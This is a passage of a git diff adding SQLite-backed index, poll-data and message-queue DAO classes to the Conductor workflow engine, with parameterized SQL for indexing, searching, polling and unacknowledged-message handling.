    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sqlite.dao; + +import java.sql.Timestamp; +import java.time.Instant; +import java.time.format.DateTimeFormatter; +import java.time.temporal.TemporalAccessor; +import java.util.ArrayList; +import java.util.List; +import java.util.concurrent.*; + +import javax.sql.DataSource; + +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.common.metadata.events.EventExecution; +import com.netflix.conductor.common.metadata.tasks.TaskExecLog; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.TaskSummary; +import com.netflix.conductor.common.run.WorkflowSummary; +import com.netflix.conductor.core.events.queue.Message; +import com.netflix.conductor.dao.IndexDAO; +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.sqlite.config.SqliteProperties; +import com.netflix.conductor.sqlite.util.SqliteIndexQueryBuilder; + +import com.fasterxml.jackson.databind.ObjectMapper; + +public class SqliteIndexDAO extends SqliteBaseDAO implements IndexDAO { + + private final SqliteProperties properties; + private final ExecutorService executorService; + + private static final int CORE_POOL_SIZE = 6; + private static final long KEEP_ALIVE_TIME = 1L; + + private boolean onlyIndexOnStatusChange; + + public SqliteIndexDAO( + RetryTemplate retryTemplate, + ObjectMapper objectMapper, + DataSource dataSource, + SqliteProperties properties) { + super(retryTemplate, objectMapper, dataSource); + this.properties = properties; + this.onlyIndexOnStatusChange = properties.getOnlyIndexOnStatusChange(); + + int maximumPoolSize = properties.getAsyncMaxPoolSize(); + int workerQueueSize = properties.getAsyncWorkerQueueSize(); + + // Set up a workerpool for performing async operations. + this.executorService = + new ThreadPoolExecutor( + CORE_POOL_SIZE, + maximumPoolSize, + KEEP_ALIVE_TIME, + TimeUnit.MINUTES, + new LinkedBlockingQueue<>(workerQueueSize), + (runnable, executor) -> { + logger.warn( + "Request {} to async dao discarded in executor {}", + runnable, + executor); + Monitors.recordDiscardedIndexingCount("indexQueue"); + }); + } + + @Override + public void indexWorkflow(WorkflowSummary workflow) { + String INSERT_WORKFLOW_INDEX_SQL = + "INSERT INTO workflow_index (workflow_id, correlation_id, workflow_type, start_time, update_time, status, parent_workflow_id, classifier, json_data) " + + " VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?) ON CONFLICT (workflow_id) " + + " DO UPDATE SET correlation_id = excluded.correlation_id, workflow_type = excluded.workflow_type, " + + " start_time = excluded.start_time, status = excluded.status, json_data = excluded.json_data, " + + " update_time = excluded.update_time, parent_workflow_id = excluded.parent_workflow_id, " + + " classifier = excluded.classifier " + + " WHERE excluded.update_time >= workflow_index.update_time"; + + if (onlyIndexOnStatusChange) { + INSERT_WORKFLOW_INDEX_SQL += " AND workflow_index.status != excluded.status"; + } + + TemporalAccessor updateTa = DateTimeFormatter.ISO_INSTANT.parse(workflow.getUpdateTime()); + Timestamp updateTime = Timestamp.from(Instant.from(updateTa)); + + TemporalAccessor ta = DateTimeFormatter.ISO_INSTANT.parse(workflow.getStartTime()); + Timestamp startTime = Timestamp.from(Instant.from(ta)); + + int rowsUpdated = + queryWithTransaction( + INSERT_WORKFLOW_INDEX_SQL, + q -> + q.addParameter(workflow.getWorkflowId()) + .addParameter(workflow.getCorrelationId()) + .addParameter(workflow.getWorkflowType()) + .addParameter(startTime.toString()) + .addParameter(updateTime.toString()) + .addParameter(workflow.getStatus().toString()) + .addParameter( + workflow.getParentWorkflowId() != null + ? workflow.getParentWorkflowId() + : "") + .addParameter(workflow.getClassifier()) + .addJsonParameter(workflow) + .executeUpdate()); + logger.debug("Sqlite index workflow rows updated: {}", rowsUpdated); + } + + @Override + public SearchResult searchWorkflowSummary( + String query, String freeText, int start, int count, List sort) { + SqliteIndexQueryBuilder queryBuilder = + new SqliteIndexQueryBuilder( + "workflow_index", query, freeText, start, count, sort, properties); + + List results = + queryWithTransaction( + queryBuilder.getQuery(), + q -> { + queryBuilder.addParameters(q); + queryBuilder.addPagingParameters(q); + return q.executeAndFetch(WorkflowSummary.class); + }); + + List totalHitResults = + queryWithTransaction( + queryBuilder.getCountQuery(), + q -> { + queryBuilder.addParameters(q); + return q.executeAndFetch(String.class); + }); + + int totalHits = Integer.valueOf(totalHitResults.get(0)); + return new SearchResult<>(totalHits, results); + } + + @Override + public void indexTask(TaskSummary task) { + String INSERT_TASK_INDEX_SQL = + "INSERT INTO task_index (task_id, task_type, task_def_name, status, start_time, update_time, workflow_type, json_data)" + + "VALUES (?, ?, ?, ?, ?, ?, ?, ?) ON CONFLICT (task_id) " + + "DO UPDATE SET task_type = excluded.task_type, task_def_name = excluded.task_def_name, " + + "status = excluded.status, update_time = excluded.update_time, json_data = excluded.json_data " + + "WHERE excluded.update_time >= task_index.update_time"; + + if (onlyIndexOnStatusChange) { + INSERT_TASK_INDEX_SQL += " AND task_index.status != excluded.status"; + } + + TemporalAccessor updateTa = DateTimeFormatter.ISO_INSTANT.parse(task.getUpdateTime()); + Timestamp updateTime = Timestamp.from(Instant.from(updateTa)); + + TemporalAccessor startTa = DateTimeFormatter.ISO_INSTANT.parse(task.getStartTime()); + Timestamp startTime = Timestamp.from(Instant.from(startTa)); + + int rowsUpdated = + queryWithTransaction( + INSERT_TASK_INDEX_SQL, + q -> + q.addParameter(task.getTaskId()) + .addParameter(task.getTaskType()) + .addParameter(task.getTaskDefName()) + .addParameter(task.getStatus().toString()) + .addParameter(startTime.toString()) + .addParameter(updateTime.toString()) + .addParameter(task.getWorkflowType()) + .addJsonParameter(task) + .executeUpdate()); + logger.debug("Sqlite index task rows updated: {}", rowsUpdated); + } + + @Override + public SearchResult searchTaskSummary( + String query, String freeText, int start, int count, List sort) { + SqliteIndexQueryBuilder queryBuilder = + new SqliteIndexQueryBuilder( + "task_index", query, freeText, start, count, sort, properties); + + List results = + queryWithTransaction( + queryBuilder.getQuery(), + q -> { + queryBuilder.addParameters(q); + queryBuilder.addPagingParameters(q); + return q.executeAndFetch(TaskSummary.class); + }); + + List totalHitResults = + queryWithTransaction( + queryBuilder.getCountQuery(), + q -> { + queryBuilder.addParameters(q); + return q.executeAndFetch(String.class); + }); + + int totalHits = Integer.valueOf(totalHitResults.get(0)); + return new SearchResult<>(totalHits, results); + } + + @Override + public void addTaskExecutionLogs(List logs) { + String INSERT_LOG = + "INSERT INTO task_execution_logs (task_id, created_time, log) VALUES (?, ?, ?)"; + for (TaskExecLog log : logs) { + queryWithTransaction( + INSERT_LOG, + q -> + q.addParameter(log.getTaskId()) + .addParameter(new Timestamp(log.getCreatedTime())) + .addParameter(log.getLog()) + .executeUpdate()); + } + } + + @Override + public List getTaskExecutionLogs(String taskId) { + return queryWithTransaction( + "SELECT log, task_id, created_time FROM task_execution_logs WHERE task_id = ? ORDER BY created_time ASC", + q -> + q.addParameter(taskId) + .executeAndFetch( + rs -> { + List result = new ArrayList<>(); + while (rs.next()) { + TaskExecLog log = new TaskExecLog(); + log.setLog(rs.getString("log")); + log.setTaskId(rs.getString("task_id")); + log.setCreatedTime( + rs.getTimestamp("created_time").getTime()); + result.add(log); + } + return result; + })); + } + + @Override + public void setup() {} + + @Override + public CompletableFuture asyncIndexWorkflow(WorkflowSummary workflow) { + logger.info("asyncIndexWorkflow is not supported for Sqlite indexing"); + return CompletableFuture.completedFuture(null); + } + + @Override + public CompletableFuture asyncIndexTask(TaskSummary task) { + logger.info("asyncIndexTask is not supported for Sqlite indexing"); + return CompletableFuture.completedFuture(null); + } + + @Override + public SearchResult searchWorkflows( + String query, String freeText, int start, int count, List sort) { + SqliteIndexQueryBuilder queryBuilder = + new SqliteIndexQueryBuilder( + "workflow_index", query, freeText, start, count, sort, properties); + + List results = + queryWithTransaction( + queryBuilder.getQuery("workflow_id"), + q -> { + queryBuilder.addParameters(q); + queryBuilder.addPagingParameters(q); + return q.executeScalarList(String.class); + }); + + List totalHitResults = + queryWithTransaction( + queryBuilder.getCountQuery(), + q -> { + queryBuilder.addParameters(q); + return q.executeAndFetch(String.class); + }); + + int totalHits = Integer.valueOf(totalHitResults.get(0)); + return new SearchResult<>(totalHits, results); + } + + @Override + public SearchResult searchTasks( + String query, String freeText, int start, int count, List sort) { + SqliteIndexQueryBuilder queryBuilder = + new SqliteIndexQueryBuilder( + "task_index", query, freeText, start, count, sort, properties); + + List results = + queryWithTransaction( + queryBuilder.getQuery("task_id"), + q -> { + queryBuilder.addParameters(q); + queryBuilder.addPagingParameters(q); + return q.executeScalarList(String.class); + }); + + List totalHitResults = + queryWithTransaction( + queryBuilder.getCountQuery(), + q -> { + queryBuilder.addParameters(q); + return q.executeAndFetch(String.class); + }); + + int totalHits = Integer.valueOf(totalHitResults.get(0)); + return new SearchResult<>(totalHits, results); + } + + @Override + public void removeWorkflow(String workflowId) { + String REMOVE_WORKFLOW_SQL = "DELETE FROM workflow_index WHERE workflow_id = ?"; + + queryWithTransaction(REMOVE_WORKFLOW_SQL, q -> q.addParameter(workflowId).executeUpdate()); + } + + @Override + public CompletableFuture asyncRemoveWorkflow(String workflowId) { + return CompletableFuture.runAsync(() -> removeWorkflow(workflowId), executorService); + } + + @Override + public void updateWorkflow(String workflowInstanceId, String[] keys, Object[] values) { + logger.info("updateWorkflow is not supported for Sqlite indexing"); + } + + @Override + public CompletableFuture asyncUpdateWorkflow( + String workflowInstanceId, String[] keys, Object[] values) { + logger.info("asyncUpdateWorkflow is not supported for Sqlite indexing"); + return CompletableFuture.completedFuture(null); + } + + @Override + public void removeTask(String workflowId, String taskId) { + String REMOVE_TASK_SQL = "DELETE FROM task_index WHERE task_id = ?"; + String REMOVE_TASK_EXECUTION_SQL = "DELETE FROM task_execution_logs WHERE task_id =?"; + withTransaction( + connection -> { + queryWithTransaction( + REMOVE_TASK_SQL, q -> q.addParameter(taskId).executeUpdate()); + queryWithTransaction( + REMOVE_TASK_EXECUTION_SQL, q -> q.addParameter(taskId).executeUpdate()); + }); + } + + @Override + public CompletableFuture asyncRemoveTask(String workflowId, String taskId) { + return CompletableFuture.runAsync(() -> removeTask(workflowId, taskId), executorService); + } + + @Override + public void updateTask(String workflowId, String taskId, String[] keys, Object[] values) { + logger.info("updateTask is not supported for Sqlite indexing"); + } + + @Override + public CompletableFuture asyncUpdateTask( + String workflowId, String taskId, String[] keys, Object[] values) { + logger.info("asyncUpdateTask is not supported for Sqlite indexing"); + return CompletableFuture.completedFuture(null); + } + + @Override + public String get(String workflowInstanceId, String key) { + logger.info("get is not supported for Sqlite indexing"); + return null; + } + + @Override + public CompletableFuture asyncAddTaskExecutionLogs(List logs) { + logger.info("asyncAddTaskExecutionLogs is not supported for Sqlite indexing"); + return CompletableFuture.completedFuture(null); + } + + @Override + public void addEventExecution(EventExecution eventExecution) { + logger.info("addEventExecution is not supported for Sqlite indexing"); + } + + @Override + public List getEventExecutions(String event) { + logger.info("getEventExecutions is not supported for Sqlite indexing"); + return null; + } + + @Override + public CompletableFuture asyncAddEventExecution(EventExecution eventExecution) { + logger.info("asyncAddEventExecution is not supported for Sqlite indexing"); + return CompletableFuture.completedFuture(null); + } + + @Override + public void addMessage(String queue, Message msg) { + logger.info("addMessage is not supported for Sqlite indexing"); + } + + @Override + public CompletableFuture asyncAddMessage(String queue, Message message) { + logger.info("asyncAddMessage is not supported for Sqlite indexing"); + return CompletableFuture.completedFuture(null); + } + + @Override + public List getMessages(String queue) { + logger.info("getMessages is not supported for Sqlite indexing"); + return null; + } + + @Override + public List searchArchivableWorkflows(String indexName, long archiveTtlDays) { + logger.info("searchArchivableWorkflows is not supported for Sqlite indexing"); + return null; + } + + public long getWorkflowCount(String query, String freeText) { + logger.info("getWorkflowCount is not supported for Sqlite indexing"); + return 0; + } +} diff --git a/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/dao/SqlitePollDataDAO.java b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/dao/SqlitePollDataDAO.java new file mode 100644 index 0000000..7c6cf78 --- /dev/null +++ b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/dao/SqlitePollDataDAO.java @@ -0,0 +1,133 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sqlite.dao; + +import java.sql.Connection; +import java.sql.SQLException; +import java.util.List; + +import javax.sql.DataSource; + +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.common.metadata.tasks.PollData; +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.dao.PollDataDAO; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.base.Preconditions; + +public class SqlitePollDataDAO extends SqliteBaseDAO implements PollDataDAO { + + public SqlitePollDataDAO( + RetryTemplate retryTemplate, ObjectMapper objectMapper, DataSource dataSource) { + super(retryTemplate, objectMapper, dataSource); + } + + @Override + public void updateLastPollData(String taskDefName, String domain, String workerId) { + Preconditions.checkNotNull(taskDefName, "taskDefName name cannot be null"); + + String effectiveDomain = domain == null ? "DEFAULT" : domain; + PollData pollData = new PollData(taskDefName, domain, workerId, System.currentTimeMillis()); + + withTransaction(tx -> insertOrUpdatePollData(tx, pollData, effectiveDomain)); + } + + @Override + public PollData getPollData(String taskDefName, String domain) { + Preconditions.checkNotNull(taskDefName, "taskDefName name cannot be null"); + String effectiveDomain = (domain == null) ? "DEFAULT" : domain; + return getWithRetriedTransactions(tx -> readPollData(tx, taskDefName, effectiveDomain)); + } + + @Override + public List getPollData(String taskDefName) { + Preconditions.checkNotNull(taskDefName, "taskDefName name cannot be null"); + return readAllPollData(taskDefName); + } + + @Override + public List getAllPollData() { + try (Connection tx = dataSource.getConnection()) { + boolean previousAutoCommitMode = tx.getAutoCommit(); + tx.setAutoCommit(true); + try { + String GET_ALL_POLL_DATA = "SELECT json_data FROM poll_data ORDER BY queue_name"; + return query(tx, GET_ALL_POLL_DATA, q -> q.executeAndFetch(PollData.class)); + } catch (Throwable th) { + throw new NonTransientException(th.getMessage(), th); + } finally { + tx.setAutoCommit(previousAutoCommitMode); + } + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + private void insertOrUpdatePollData(Connection connection, PollData pollData, String domain) { + try { + /* + * Most times the row will be updated so let's try the update first. This used to be an 'INSERT/ON CONFLICT do update' sql statement. The problem with that + * is that if we try the INSERT first, the sequence will be increased even if the ON CONFLICT happens. Since polling happens *a lot*, the sequence can increase + * dramatically even though it won't be used. + */ + String UPDATE_POLL_DATA = + "UPDATE poll_data SET json_data=?, modified_on=CURRENT_TIMESTAMP WHERE queue_name=? AND domain=?"; + int rowsUpdated = + query( + connection, + UPDATE_POLL_DATA, + q -> + q.addJsonParameter(pollData) + .addParameter(pollData.getQueueName()) + .addParameter(domain) + .executeUpdate()); + + if (rowsUpdated == 0) { + String INSERT_POLL_DATA = + "INSERT INTO poll_data (queue_name, domain, json_data, modified_on) VALUES (?, ?, ?, CURRENT_TIMESTAMP) ON CONFLICT (queue_name,domain) DO UPDATE SET json_data=excluded.json_data, modified_on=excluded.modified_on"; + execute( + connection, + INSERT_POLL_DATA, + q -> + q.addParameter(pollData.getQueueName()) + .addParameter(domain) + .addJsonParameter(pollData) + .executeUpdate()); + } + } catch (NonTransientException e) { + if (!e.getMessage().startsWith("ERROR: lastPollTime cannot be set to a lower value")) { + throw e; + } + } + } + + private PollData readPollData(Connection connection, String queueName, String domain) { + String GET_POLL_DATA = + "SELECT json_data FROM poll_data WHERE queue_name = ? AND domain = ?"; + return query( + connection, + GET_POLL_DATA, + q -> + q.addParameter(queueName) + .addParameter(domain) + .executeAndFetchFirst(PollData.class)); + } + + private List readAllPollData(String queueName) { + String GET_ALL_POLL_DATA = "SELECT json_data FROM poll_data WHERE queue_name = ?"; + return queryWithTransaction( + GET_ALL_POLL_DATA, q -> q.addParameter(queueName).executeAndFetch(PollData.class)); + } +} diff --git a/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/dao/SqliteQueueDAO.java b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/dao/SqliteQueueDAO.java new file mode 100644 index 0000000..f319fee --- /dev/null +++ b/sqlite-persistence/src/main/java/com/netflix/conductor/sqlite/dao/SqliteQueueDAO.java @@ -0,0 +1,508 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sqlite.dao; + +import java.sql.Connection; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.concurrent.Executors; +import java.util.concurrent.ScheduledExecutorService; +import java.util.concurrent.TimeUnit; +import java.util.stream.Collectors; + +import javax.sql.DataSource; + +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.core.events.queue.Message; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.sqlite.config.SqliteProperties; +import com.netflix.conductor.sqlite.util.ExecutorsUtil; +import com.netflix.conductor.sqlite.util.Query; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.collect.ImmutableMap; +import com.google.common.collect.Maps; +import com.google.common.util.concurrent.Uninterruptibles; +import jakarta.annotation.PreDestroy; + +public class SqliteQueueDAO extends SqliteBaseDAO implements QueueDAO { + + private static final Long UNACK_SCHEDULE_MS = 60_000L; + + private final ScheduledExecutorService scheduledExecutorService; + + public SqliteQueueDAO( + RetryTemplate retryTemplate, + ObjectMapper objectMapper, + DataSource dataSource, + SqliteProperties properties) { + super(retryTemplate, objectMapper, dataSource); + + this.scheduledExecutorService = + Executors.newSingleThreadScheduledExecutor( + ExecutorsUtil.newNamedThreadFactory("sqlite-queue-")); + this.scheduledExecutorService.scheduleAtFixedRate( + this::processAllUnacks, + UNACK_SCHEDULE_MS, + UNACK_SCHEDULE_MS, + TimeUnit.MILLISECONDS); + logger.debug("{} is ready to serve", SqliteQueueDAO.class.getName()); + } + + @PreDestroy + public void destroy() { + try { + this.scheduledExecutorService.shutdown(); + if (scheduledExecutorService.awaitTermination(30, TimeUnit.SECONDS)) { + logger.debug("tasks completed, shutting down"); + } else { + logger.warn("Forcing shutdown after waiting for 30 seconds"); + scheduledExecutorService.shutdownNow(); + } + } catch (InterruptedException ie) { + logger.warn( + "Shutdown interrupted, invoking shutdownNow on scheduledExecutorService for processAllUnacks", + ie); + scheduledExecutorService.shutdownNow(); + Thread.currentThread().interrupt(); + } + } + + @Override + public void push(String queueName, String id, long offsetTimeInSecond) { + push(queueName, id, 0, offsetTimeInSecond); + } + + @Override + public void push(String queueName, String id, int priority, long offsetTimeInSecond) { + withTransaction(tx -> pushMessage(tx, queueName, id, null, priority, offsetTimeInSecond)); + } + + @Override + public void push(String queueName, List messages) { + withTransaction( + tx -> + messages.forEach( + message -> + pushMessage( + tx, + queueName, + message.getId(), + message.getPayload(), + message.getPriority(), + 0))); + } + + @Override + public boolean pushIfNotExists(String queueName, String id, long offsetTimeInSecond) { + return pushIfNotExists(queueName, id, 0, offsetTimeInSecond); + } + + @Override + public boolean pushIfNotExists( + String queueName, String id, int priority, long offsetTimeInSecond) { + return getWithRetriedTransactions( + tx -> { + if (!existsMessage(tx, queueName, id)) { + pushMessage(tx, queueName, id, null, priority, offsetTimeInSecond); + return true; + } + return false; + }); + } + + @Override + public List pop(String queueName, int count, int timeout) { + return pollMessages(queueName, count, timeout).stream() + .map(Message::getId) + .collect(Collectors.toList()); + } + + @Override + public List peekFirstIds(String queueName, int count) { + final String SQL = + "SELECT message_id FROM queue_message " + + "WHERE queue_name = ? AND popped = false " + + "ORDER BY deliver_on, priority DESC, created_on LIMIT ?"; + return queryWithTransaction( + SQL, + q -> q.addParameter(queueName).addParameter(count).executeScalarList(String.class)); + } + + @Override + public List pollMessages(String queueName, int count, int timeout) { + if (timeout < 1) { + List messages = + getWithTransactionWithOutErrorPropagation( + tx -> popMessages(tx, queueName, count, timeout)); + if (messages == null) { + return new ArrayList<>(); + } + return messages; + } + + long start = System.currentTimeMillis(); + final List messages = new ArrayList<>(); + + while (true) { + List messagesSlice = + getWithTransactionWithOutErrorPropagation( + tx -> popMessages(tx, queueName, count - messages.size(), timeout)); + if (messagesSlice == null) { + logger.warn( + "Unable to poll {} messages from {} due to tx conflict, only {} popped", + count, + queueName, + messages.size()); + // conflict could have happened, returned messages popped so far + return messages; + } + + messages.addAll(messagesSlice); + if (messages.size() >= count || ((System.currentTimeMillis() - start) > timeout)) { + return messages; + } + Uninterruptibles.sleepUninterruptibly(100, TimeUnit.MILLISECONDS); + } + } + + @Override + public void remove(String queueName, String messageId) { + withTransaction(tx -> removeMessage(tx, queueName, messageId)); + } + + @Override + public int getSize(String queueName) { + final String GET_QUEUE_SIZE = "SELECT COUNT(*) FROM queue_message WHERE queue_name = ?"; + return queryWithTransaction( + GET_QUEUE_SIZE, q -> ((Long) q.addParameter(queueName).executeCount()).intValue()); + } + + @Override + public boolean ack(String queueName, String messageId) { + return getWithRetriedTransactions(tx -> removeMessage(tx, queueName, messageId)); + } + + @Override + public boolean setUnackTimeout(String queueName, String messageId, long unackTimeout) { + long updatedOffsetTimeInSecond = unackTimeout / 1000; + + final String UPDATE_UNACK_TIMEOUT = + "UPDATE queue_message SET offset_time_seconds = ?, deliver_on = strftime('%Y-%m-%d %H:%M:%f', 'now', '+' || ? || ' seconds') WHERE queue_name = ? AND message_id = ?"; + + return queryWithTransaction( + UPDATE_UNACK_TIMEOUT, + q -> + q.addParameter(updatedOffsetTimeInSecond) + .addParameter(updatedOffsetTimeInSecond) + .addParameter(queueName) + .addParameter(messageId) + .executeUpdate()) + == 1; + } + + @Override + public boolean setUnackTimeoutIfShorter(String queueName, String messageId, long unackTimeout) { + long updatedOffsetTimeInSecond = unackTimeout / 1000; + + // Only update when the proposed deliver_on is earlier than what is already set, + // mirroring the ZADD LT semantics used by the Redis implementation. + final String UPDATE_UNACK_TIMEOUT_IF_SHORTER = + "UPDATE queue_message SET offset_time_seconds = ?, deliver_on = strftime('%Y-%m-%d %H:%M:%f', 'now', '+' || ? || ' seconds')" + + " WHERE queue_name = ? AND message_id = ? AND deliver_on > strftime('%Y-%m-%d %H:%M:%f', 'now', '+' || ? || ' seconds')"; + + return queryWithTransaction( + UPDATE_UNACK_TIMEOUT_IF_SHORTER, + q -> + q.addParameter(updatedOffsetTimeInSecond) + .addParameter(updatedOffsetTimeInSecond) + .addParameter(queueName) + .addParameter(messageId) + .addParameter(updatedOffsetTimeInSecond) + .executeUpdate()) + == 1; + } + + @Override + public void flush(String queueName) { + final String FLUSH_QUEUE = "DELETE FROM queue_message WHERE queue_name = ?"; + executeWithTransaction(FLUSH_QUEUE, q -> q.addParameter(queueName).executeDelete()); + } + + @Override + public Map queuesDetail() { + final String GET_QUEUES_DETAIL = + "SELECT queue_name, (SELECT count(*) FROM queue_message WHERE popped = false AND queue_name = q.queue_name) AS size FROM queue q"; + return queryWithTransaction( + GET_QUEUES_DETAIL, + q -> + q.executeAndFetch( + rs -> { + Map detail = Maps.newHashMap(); + while (rs.next()) { + String queueName = rs.getString("queue_name"); + Long size = rs.getLong("size"); + detail.put(queueName, size); + } + return detail; + })); + } + + @Override + public Map>> queuesDetailVerbose() { + // @formatter:off + final String GET_QUEUES_DETAIL_VERBOSE = + "SELECT queue_name, \n" + + " (SELECT count(*) FROM queue_message WHERE popped = false AND queue_name = q.queue_name) AS size,\n" + + " (SELECT count(*) FROM queue_message WHERE popped = true AND queue_name = q.queue_name) AS uacked \n" + + "FROM queue q"; + // @formatter:on + + return queryWithTransaction( + GET_QUEUES_DETAIL_VERBOSE, + q -> + q.executeAndFetch( + rs -> { + Map>> result = + Maps.newHashMap(); + while (rs.next()) { + String queueName = rs.getString("queue_name"); + Long size = rs.getLong("size"); + Long queueUnacked = rs.getLong("uacked"); + result.put( + queueName, + ImmutableMap.of( + "a", + ImmutableMap + .of( // sharding not implemented, + // returning only + // one shard with all the + // info + "size", + size, + "uacked", + queueUnacked))); + } + return result; + })); + } + + public void processAllUnacks() { + logger.trace("processAllUnacks started"); + + getWithRetriedTransactions( + tx -> { + String LOCK_TASKS = + "SELECT queue_name, message_id FROM queue_message WHERE popped = true AND strftime('%Y-%m-%d %H:%M:%f', deliver_on, '+60 seconds') < strftime('%Y-%m-%d %H:%M:%f', 'now') limit 1000"; + + List messages = + query( + tx, + LOCK_TASKS, + p -> + p.executeAndFetch( + rs -> { + List results = + new ArrayList(); + while (rs.next()) { + QueueMessage qm = new QueueMessage(); + qm.queueName = + rs.getString("queue_name"); + qm.messageId = + rs.getString("message_id"); + results.add(qm); + } + return results; + })); + + if (messages.size() == 0) { + return 0; + } + + Map> queueMessageMap = new HashMap>(); + for (QueueMessage qm : messages) { + if (!queueMessageMap.containsKey(qm.queueName)) { + queueMessageMap.put(qm.queueName, new ArrayList()); + } + queueMessageMap.get(qm.queueName).add(qm.messageId); + } + + int totalUnacked = 0; + for (String queueName : queueMessageMap.keySet()) { + Integer unacked = 0; + try { + final List msgIds = queueMessageMap.get(queueName); + final String UPDATE_POPPED = + String.format( + "UPDATE queue_message SET popped = false WHERE queue_name = ? and message_id IN (%s)", + Query.generateInBindings(msgIds.size())); + + unacked = + query( + tx, + UPDATE_POPPED, + q -> + q.addParameter(queueName) + .addParameters(msgIds) + .executeUpdate()); + } catch (Exception e) { + e.printStackTrace(); + } + totalUnacked += unacked; + logger.debug("Unacked {} messages from all queues", unacked); + } + + if (totalUnacked > 0) { + logger.debug("Unacked {} messages from all queues", totalUnacked); + } + return totalUnacked; + }); + } + + @Override + public void processUnacks(String queueName) { + final String PROCESS_UNACKS = + "UPDATE queue_message SET popped = false WHERE queue_name = ? AND popped = true AND strftime('%Y-%m-%d %H:%M:%f', 'now', '-60 seconds') > deliver_on"; + executeWithTransaction(PROCESS_UNACKS, q -> q.addParameter(queueName).executeUpdate()); + } + + @Override + public boolean resetOffsetTime(String queueName, String id) { + long offsetTimeInSecond = 0; // Reset to 0 + final String SET_OFFSET_TIME = + "UPDATE queue_message SET offset_time_seconds = ?, deliver_on = strftime('%Y-%m-%d %H:%M:%f', 'now', '+' || ? || ' seconds') " + + "WHERE queue_name = ? AND message_id = ?"; + + return queryWithTransaction( + SET_OFFSET_TIME, + q -> + q.addParameter(offsetTimeInSecond) + .addParameter(offsetTimeInSecond) + .addParameter(queueName) + .addParameter(id) + .executeUpdate() + == 1); + } + + private boolean existsMessage(Connection connection, String queueName, String messageId) { + final String EXISTS_MESSAGE = + "SELECT EXISTS(SELECT 1 FROM queue_message WHERE queue_name = ? AND message_id = ?)"; + return query( + connection, + EXISTS_MESSAGE, + q -> q.addParameter(queueName).addParameter(messageId).exists()); + } + + private void pushMessage( + Connection connection, + String queueName, + String messageId, + String payload, + Integer priority, + long offsetTimeInSecond) { + + createQueueIfNotExists(connection, queueName); + + String UPDATE_MESSAGE = + "UPDATE queue_message SET payload=?, deliver_on=strftime('%Y-%m-%d %H:%M:%f', 'now', '+' || ? || ' seconds'), popped=false WHERE queue_name = ? AND message_id = ?"; + int rowsUpdated = + query( + connection, + UPDATE_MESSAGE, + q -> + q.addParameter(payload) + .addParameter(offsetTimeInSecond) + .addParameter(queueName) + .addParameter(messageId) + .executeUpdate()); + + if (rowsUpdated == 0) { + String PUSH_MESSAGE = + "INSERT INTO queue_message (deliver_on, queue_name, message_id, priority, offset_time_seconds, payload) VALUES (strftime('%Y-%m-%d %H:%M:%f', 'now', '+' || ? || ' seconds'), ?,?,?,?,?) ON CONFLICT (queue_name,message_id) DO UPDATE SET payload=excluded.payload, deliver_on=excluded.deliver_on, popped=false"; + execute( + connection, + PUSH_MESSAGE, + q -> + q.addParameter(offsetTimeInSecond) + .addParameter(queueName) + .addParameter(messageId) + .addParameter(priority) + .addParameter(offsetTimeInSecond) + .addParameter(payload) + .executeUpdate()); + } + } + + private boolean removeMessage(Connection connection, String queueName, String messageId) { + final String REMOVE_MESSAGE = + "DELETE FROM queue_message WHERE queue_name = ? AND message_id = ?"; + return query( + connection, + REMOVE_MESSAGE, + q -> q.addParameter(queueName).addParameter(messageId).executeDelete()); + } + + private List popMessages( + Connection connection, String queueName, int count, int timeout) { + + String POP_QUERY = + "UPDATE queue_message SET popped = true WHERE message_id IN (" + + "SELECT message_id FROM queue_message WHERE queue_name = ? AND popped = false AND " + + "deliver_on <= strftime('%Y-%m-%d %H:%M:%f', 'now') " + + "ORDER BY priority DESC, deliver_on, created_on LIMIT ?" + + ") RETURNING message_id, priority, payload"; + + return query( + connection, + POP_QUERY, + p -> + p.addParameter(queueName) + .addParameter(count) + .executeAndFetch( + rs -> { + List results = new ArrayList<>(); + while (rs.next()) { + Message m = new Message(); + m.setId(rs.getString("message_id")); + m.setPriority(rs.getInt("priority")); + m.setPayload(rs.getString("payload")); + results.add(m); + } + return results; + })); + } + + @Override + public boolean containsMessage(String queueName, String messageId) { + return getWithRetriedTransactions(tx -> existsMessage(tx, queueName, messageId)); + } + + private void createQueueIfNotExists(Connection connection, String queueName) { + logger.trace("Creating new queue '{}'", queueName); + final String EXISTS_QUEUE = "SELECT EXISTS(SELECT 1 